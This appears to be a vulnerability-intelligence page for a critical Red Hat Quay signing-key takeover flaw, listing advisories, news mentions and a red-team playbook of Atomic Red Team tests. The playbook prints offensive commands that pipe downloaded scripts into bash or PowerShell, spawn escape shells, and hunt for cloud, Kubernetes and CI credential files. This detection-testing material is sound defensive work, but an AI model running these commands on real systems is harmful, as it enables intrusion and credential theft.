CVE-2026-123710
CRITICAL
Pub 11/11
Upd 13/11
Overview
This vulnerability is an authentication bypass in Red Hat Quay's token issuance and key rotation mechanism. The flaw allows an unauthenticated client to obtain an anonymous registry token with a user-controlled audience claim. This token can then be presented to the service key rotation endpoint, enabling installation of a custom signing key without expiration. The affected component is the token-based authentication and key management subsystem within the Quay registry service.
Vulnerability Description
A flaw was found in Red Hat Quay. An unauthenticated client can obtain an anonymous registry token with an audience it controls, present that token to the service key rotation endpoint, and install its own approved signing key with no expiry. Registry tokens signed with that key are accepted for any repository, allowing read and write access to private images and replacement of repository tags.
Impact
An attacker without any authentication can gain unauthorized read and write access to private container images stored in the registry. They can replace repository tags and manipulate image content, potentially injecting malicious artifacts. This compromises the confidentiality and integrity of container images, risking downstream deployments and supply chain security. The vulnerability allows full control over repository contents, enabling extensive unauthorized operations within the affected registry environment.
Solution
Apply the security updates provided in Red Hat advisories RHSA-2026:99019 through RHSA-2026:99024, which address this vulnerability in Red Hat Quay. These advisories include patched package versions that correct the token issuance and key rotation logic. Detailed patch instructions and version requirements are available at https://access.redhat.com/errata/RHSA-2026:99019 and related URLs. No additional workarounds are specified beyond applying the vendor-provided updates.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Exploited in Wild
NOT DETECTED
Ransomware
NOT ASSOCIATED
Attacker Interest
HIGH
Sightings
Some sightings
Threat Feed
3 events
2026-11-13
Threat Sensor Sighting — Some sightings
Sighting activity recorded
2026-11-12
Threat Sensor Sighting — Few sightings
Sighting activity recorded
2026-11-11
Threat Sensor Sighting — Few sightings
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Applicable
Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040
Kill chain derived from the ML classifier.
Attack Vectors ML
Authorization Bypass
92%
authz_bypass
Authentication Bypass
86%
auth_bypass
Information Disclosure
85%
info_disclosure
Insecure Direct Object Reference
84%
idor
hardcoded_credentials
73%
hardcoded_credentials
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
No techniques for the selected OS
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
No tests for the selected OS
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
T1021.004
ESXi - Enable SSH via PowerCLI
Windows
PowerShell
Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004
ESXi - Enable SSH via VIM-CMD
Windows
CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface.
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049
System Discovery using SharpView
Windows
PowerShell
Privileged
Get a listing of network connections, domains, domain users, and etc.
sharpview.exe located in the bin folder, an opensource red-team tool.
Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049
System Network Connections Discovery
Windows
CMD
Get a listing of network connections.
Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires
elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049
System Network Connections Discovery FreeBSD, Linux & MacOS
Linux, macOS
Shell
Get a listing of network connections.
Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049
System Network Connections Discovery via PowerShell (Process Mapping)
Windows
PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
T1049
System Network Connections Discovery via sockstat (Linux, FreeBSD)
Linux
Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049
System Network Connections Discovery via ss or lsof (Linux/MacOS)
Linux, macOS
Bash
List active TCP/UDP network connections using ss, with lsof as a fallback
when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049
System Network Connections Discovery with PowerShell
Windows
PowerShell
Get a listing of network connections.
Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1059.004
Change login shell
Linux
Bash
Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004
Command line scripts
Linux
Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004
Command-Line Interface
Linux, macOS
Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.
Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004
Create and Execute Bash Shell Script
Linux, macOS
Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004
Creating shell using cpan command
Linux, macOS
Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell.
Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
T1059.004
Current kernel information enumeration
Linux
Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004
Detecting pipe-to-shell
Linux
Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
T1059.004
Environment variable scripts
Linux
Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004
Harvest SUID executable files
Linux
Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004
LinEnum tool execution
Linux
Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004
New script file in the tmp directory
Linux
Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004
Obfuscated command line scripts
Linux
Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004
Shell Creation using awk command
Linux, macOS
Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command.
Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004
Shell Creation using busybox command
Linux
Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell.
Reference -...
Command (Shell)
busybox sh &
T1059.004
What shell is running
Linux
Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004
What shells are available
Linux
Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells
T1059.004
emacs spawning an interactive system shell
Linux, macOS
Shell
Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1505.003
Web Shell Written to Disk
Windows
CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk.
Idea from APTSimulator.
cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD)
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001
Access Drone CI Config File
Linux, macOS
Shell
Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Access Gitlab CI Config File
Linux, macOS
Shell
Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Access Jenkinsfile
Linux, macOS
Shell
Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Access Travis CI Config File
Linux, macOS
Shell
Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Access unattend.xml
Windows
CMD
Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.
If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001
Dump GitHub Actions Runner Environment Variables from procfs
Linux
Bash
Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh)
and reads their environment variables from /proc/<pid>/environ, filtering for keys
containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests
credentials and secrets...
Command (Bash)
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
T1552.001
Extract Browser and System credentials with LaZagne
macOS
Bash
Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001
Extract passwords with grep
Linux, macOS
Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001
Extracting passwords with findstr
Windows
PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001
Find .env Files Containing Application Credentials
Linux, macOS
Shell
Searches common web application and service directories for .env files
(.env, .env.local, .env.production, .env.development, .env.staging) that may
contain credentials such as API keys, database passwords, and service secrets.
Adversaries targeting web servers or...
Command (Shell)
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
T1552.001
Find AWS credentials
Linux, macOS
Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
T1552.001
Find Azure credentials
Linux, macOS
Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find Docker credentials
Linux, macOS
Shell
Find local Docker credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find GCP credentials
Linux, macOS
Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find HashiCorp Vault token files
Linux, macOS
Shell
Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find Kubernetes cluster configuration files
Linux
Shell
Privileged
Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...
Command (Shell)
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
T1552.001
Find Kubernetes user configuration files
Linux, macOS
Shell
Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.
Command (Shell)
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
T1552.001
Find OCI credentials
Linux, macOS
Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001
Find Terraform credential files
Linux, macOS
Shell
Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.
Command (Shell)
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
T1552.001
Find and Access Github Credentials
Linux, macOS
Shell
Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find database credential files
Linux, macOS
Shell
Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.
Command (Shell)
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
T1552.001
Find npm registry credential files
Linux, macOS
Shell
Find .npmrc files, which may contain plaintext npm registry authentication tokens.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find system database configuration files
Linux
Shell
Privileged
Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.
Command (Shell)
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
T1552.001
List Credential Files via Command Prompt
Windows
CMD
Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001
List Credential Files via PowerShell
Windows
PowerShell
Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001
Search for Git Credential Files
Linux, macOS
Shell
Searches the specified directory for a git credential file, which
may contain plaintext credentials, access tokens, or credential helper
configurations. Example files include .git-credentials and .gitconfig.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials
Windows
PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001
WinPwn - SessionGopher
Windows
PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001
WinPwn - Snaffler
Windows
PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001
WinPwn - passhunt
Windows
PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001
WinPwn - powershellsensitive
Windows
PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001
WinPwn - sensitivefiles
Windows
PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutputDetection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (27)
27 mentions from 14 sources in the last 7 days BuzzFactor 85 / 100
-
social bsky.app @threatroundup.bsky.social 2026-11-13 14:48 UTCRed Hat Quay 3 CVE-2026-123710 is rated critical, CVSS 9.8. A flaw was found in Red Hat Quay. No public exploit reported yet. Check your exposure. #CVE #PatchManagement threatroundup.com/cve/cve-2026...Open source
-
social bsky.app @cysecuritynews.bsky.social 2026-11-13 13:48 UTCCritical Red Hat Quay Flaw Could Allow Attackers to Steal Private Container Images #CriticalFlaw #CyberSecurity #HackingOpen source
-
social bsky.app @undercodenews.bsky.social 2026-11-13 09:30 UTCCritical Red Hat Quay Vulnerability Allows Unauthenticated Attackers to Hijack Registry Signing Keys and Poison Private Container Images Red Hat has disclosed a critical security vulnerability in its Quay container registry that could allo…Open source
-
news gbhackers.com 2026-11-13 08:23 UTCCritical Red Hat Quay Vulnerability Allows Hackers to Hijack Private Container Registries - GBHackers NewsOpen source
-
social bsky.app @blackhatnews.tokyo 2026-11-13 07:40 UTCRed Hatの「Quay」に深刻な脆弱性、攻撃者がプライベートコンテナレジストリを乗っ取り可能に Red Hatは、同社のコンテナレジストリ製品「Red Hat Quay」に存在する、サービスキー乗っ取りの重大な脆弱性「CVE-2026-123710」を公表しました。CVSS v3.1のスコアは9.8（AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H）です。 認証されていないリモートのクライOpen source
-
news cyberpress.org 2026-11-13 07:21 UTCCritical Red Hat Quay Vulnerability Allows Hackers to Hijack Private Container Registries - Cyber PressOpen source
-
social bsky.app @newssecia.bsky.social 2026-11-13 05:03 UTC🤖 CVE-2026-123710 (9.8): Red Hat Quay's key server accepts an anonymous /v2/auth token to plant an attacker signing key. Any reachable registry: private images read, overwritten, poisoned for every puller. All Quay 3/5. https://thehackerne…Open source
-
social infosec.exchange @cloud 2026-11-13 05:03 UTC🤖 CVE-2026-123710 (CVSS 9.8): Red Hat Quay's key server accepts an anonymous /v2/auth token to plant an attacker-controlled signing key. Any reachable registry can then have private images read, overwritten or poisoned for every later pull…Open source
-
news news.lavx.hu 2026-11-13 04:26 UTCCritical Red Hat Quay flaws expose private container images to theft and tampering - news.lavx.huOpen source
-
social bsky.app 2026-11-13 00:25 UTCRed Hatは、コンテナレジストリ「Quay」に存在する2件の重大な脆弱性を公表しました。 ■ CVE-2026-123710（CVSS 9.8） 認証トークンの検証不備により、攻撃者が自身の署名鍵を登録し、レジストリ内の非公開コンテナイメージを読み取り・上書きできる脆弱性です。 匿名アクセスが有効な環境では認証なしで悪用でき、登録された不正な署名鍵は再起動後も残存します。 ■ CVE-2026-110697（CVSS 9.9） 名前空間の検索処理に不備があり、一般ユーザ…Open source
-
social bsky.app 2026-11-13 00:25 UTCRed Hatは、コンテナレジストリ「Quay」に存在する2件の重大な脆弱性を公表しました。 ■ CVE-2026-123710（CVSS 9.8） 認証トークンの検証不備により、攻撃者が自身の署名鍵を登録し、レジストリ内の非公開コンテナイメージを読み取り・上書きできる脆弱性です。 匿名アクセスが有効な環境では認証なしで悪用でき、登録された不正な署名鍵は再起動後も残存します。 ■ CVE-2026-110697（CVSS 9.9） 名前空間の検索処理に不備があり、一般ユーザ…Open source
-
social bsky.app @undercodenews.bsky.social 2026-11-12 23:03 UTCRed Hat Quay Critical Vulnerability Could Expose Private Container Images and Compromise Registry Signing Keys + Video Introduction: A Critical Supply Chain Security Risk A critical security vulnerability in Red Hat Quay could allow attack…Open source
-
social infosec.exchange @AAKL 2026-11-12 17:46 UTCThis was updated yesterday: Red Hat Bugzilla: Bug 2568072 (CVE-2026-123710) - CVE-2026-123710 quay: Red Hat Quay: unauthenticated registry signing-key takeover via service key rotation https:// bugzilla.redhat.com/show_bug.c gi?id=2568072…Open source
-
news thehackernews.com 2026-11-12 16:27 UTCCritical Red Hat Quay Flaw Lets Attackers Read and Overwrite All Private Container Images in a Registry - The Hacker NewsOpen source
-
social bsky.app @infosec.skyfleet.blue 2026-11-12 14:36 UTCCritical Red Hat Quay Vulnerability Allows Unauthenticated Attackers to Hijack Container RegistriesOpen source
-
social bsky.app @lrbilool.bsky.social 2026-11-12 14:00 UTC🚨 Critical Red Hat Quay Vulnerability Allows Unauthenticated Attackers to Hijack Container Registries 📰 Cybersecurity News · Nov 12, 21:57 #CyberSecurity #Vulnerability 📖 Full story: https://cybersecuritynews.com/red-hat-quay-vulnerability…Open source
-
social bsky.app @wojak7537.bsky.social 2026-11-12 12:57 UTCRed Hat Quay's CVE-2026-123710, CVSS 9.8, lets unauthenticated attackers take over registry token signing and read or overwrite any repository's images; no fixed version is identified. https://agxsearch.ai/t/lwgzjk?utm_source=bluesky&utm_m…Open source
-
news secnews.gr 2026-11-12 12:24 UTCGoogle Chrome: New critical security update fixes 83 vulnerabilities - SecNews.grOpen source
-
social bsky.app @chuiho.net 2026-11-12 12:10 UTC［注意］Red Hat Quay の重大欠陥 CVE-2026-123710、非公開イメージに危険 コンテナ・レジストリ Red Hat Quay の署名鍵の管理に重大な欠陥（CVE-2026-123710、CVSS 9.8）。非公開イメージの閲覧や上書きのおそれ。修正版は未公表で、暫定対策あり。 https://chuiho.net/posts/red-hat-quay-cve-2026-123710-key-takeover/ #RedHatQuay #コンテナレジストリOpen source
-
news secnews.gr 2026-11-12 10:58 UTCGoogle: Gemini app launches on Apple CarPlay - SecNews.grOpen source
-
news secnews.gr 2026-11-12 10:40 UTCCVE-2026-123710: Critical vulnerability in Red Hat Quay - SecNews.grOpen source
-
news securityweek.com 2026-11-12 09:23 UTCCritical Red Hat Quay Vulnerability Could Expose Private Container Images - SecurityWeekOpen source
-
social bsky.app @eventmonitor.bsky.social 2026-11-12 00:35 UTCDeveloping: Critical Quay Vulnerability (CVE-2026-123710) https://cyber.eventmonitor.net/incident/EM-20261111-1357/critical-quay-vulnerability-cve-2026-123710/ #news #cybersecurityOpen source
-
social bsky.app @cve.skyfleet.blue 2026-11-11 17:33 UTCCVE-2026-123710 - Quay: red hat quay: unauthenticated registry signing-key takeover via service key rotation CVE ID : CVE-2026-123710 Published : Nov. 11, 2026, 3:17 p.m. | 43 minutes ago Description : A flaw was found in Red Hat Quay. An…Open source
-
social bsky.app @stemshop.bsky.social 2026-11-11 16:07 UTC🚨 CVE-2026-123710 — CVSS 9.8 CRITICAL A flaw was found in Red Hat Quay. An unauthenticated client can obtain an anonymous registry token with an ... 🔎 https://stemshop.top/cve/CVE-2026-123710 #CVE #CyberSecurity #InfoSecOpen source
-
social bsky.app @stackflag.bsky.social 2026-11-11 15:40 UTCCVE-2026-123710 - red hat quay 3 Red Hat Quay versions 3 and 5 let anyone without authentication obtain a special token and use it to install their own signing key that never expires. That key allows the attacker to… Too many irrelevant or…Open source
-
news cybersecuritynews.com 2026-11-11 08:00 UTCCritical Red Hat Quay Vulnerability Allows Unauthenticated Attackers to Hijack Container Registries - CyberSecurityNewsOpen source
References (12)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-123710 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2026:99019 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2026:99021 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2026:99022 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2026:99023 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2026:99024 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2026:99025 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2026:99026 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2026:99027 |
| access.redhat.com |
GitHub CVE
vdb-entry
x_refsource_REDHAT
|
https://access.redhat.com/security/cve/CVE-2026-123710 |
| access.redhat.com |
GitHub CVE
|
https://access.redhat.com/solutions/7149923 |
| bugzilla.redhat.com |
GitHub CVE
issue-tracking
x_refsource_REDHAT
|
https://bugzilla.redhat.com/show_bug.cgi?id=2568072 |